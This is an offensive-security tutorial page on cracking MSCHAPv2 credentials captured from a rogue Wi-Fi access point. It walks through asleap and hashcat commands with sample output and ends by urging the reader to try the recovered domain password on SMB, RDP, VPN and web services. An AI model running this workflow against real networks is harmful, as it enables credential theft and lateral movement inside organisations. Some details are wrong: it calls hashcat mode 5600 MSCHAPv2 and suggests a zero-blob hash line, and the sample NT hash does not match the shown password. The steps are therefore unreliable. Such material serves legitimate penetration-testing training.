Skip to content
HackIndex logo

HackIndex

Cracking MSCHAPv2 with Asleap and Hashcat

2 min read Mar 17, 2026

MSCHAPv2 credentials captured from a rogue AP attack consist of a username, a challenge, and a response. The response is computed from the NT hash of the user's password and the challenge value. Cracking it recovers the NT hash first and then the plaintext password. Both asleap and hashcat support this attack — asleap works directly against capture files while hashcat uses GPU acceleration for significantly faster speeds.

This page assumes you have captured MSCHAPv2 credentials from a hostapd-mana session. See the EAP credential harvesting page if needed.

Crack with asleap

asleap reads MSCHAPv2 hashes directly from a pcap file or from manually supplied values:

┌──(kali㉿kali)-[~]
└─$ asleap -r corp-capture-01.cap -W /usr/share/wordlists/rockyou.txt 
asleap version 2.2 - actively exploiting weak LEAP and PPTP passwords
Using wordlist mode with "rockyou.txt".
Username: CORP\jsmith
challenge: 4a6f8d2e1b9c3f7a
response:  8d3f2a1c9e4b7f6d2a8c1e3b5d9f4a2c
NT hash: 5d41402abc4b2a76b9719d911017c592
password: password123

asleap is CPU-based and slower than hashcat but requires no conversion step when working from a pcap file.

Crack with hashcat

hashcat mode 5600 handles NetNTLMv2 and MSCHAPv2. Format the captured credentials into the required hashcat input format:

┌──(kali㉿kali)-[~]
└─$ echo 'jsmith::CORP:4a6f8d2e1b9c3f7a:8d3f2a1c9e4b7f6d2a8c1e3b5d9f4a2c:0101000000000000' > mschapv2.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 mschapv2.txt /usr/share/wordlists/rockyou.txt 
jsmith::CORP:4a6f8d2e...:password123

The format for the hash is username::domain:challenge:response:blob. The blob value (last field) can be set to a placeholder of zeros when working from hostapd-mana output that does not include the full NTLM blob.

Apply Rules for Better Coverage

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 mschapv2.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Extract Credentials from a Capture File Directly

If you captured the enterprise exchange in a pcap file rather than through hostapd-mana's credential log, use asleap to extract and crack in one step:

┌──(kali㉿kali)-[~]
└─$ asleap -r corp-capture-01.cap -W /usr/share/wordlists/rockyou.txt -v

Once the plaintext password is recovered it is a valid Active Directory credential. Test it against other services on the network — SMB, RDP, VPN, and web applications commonly accept the same credentials.

References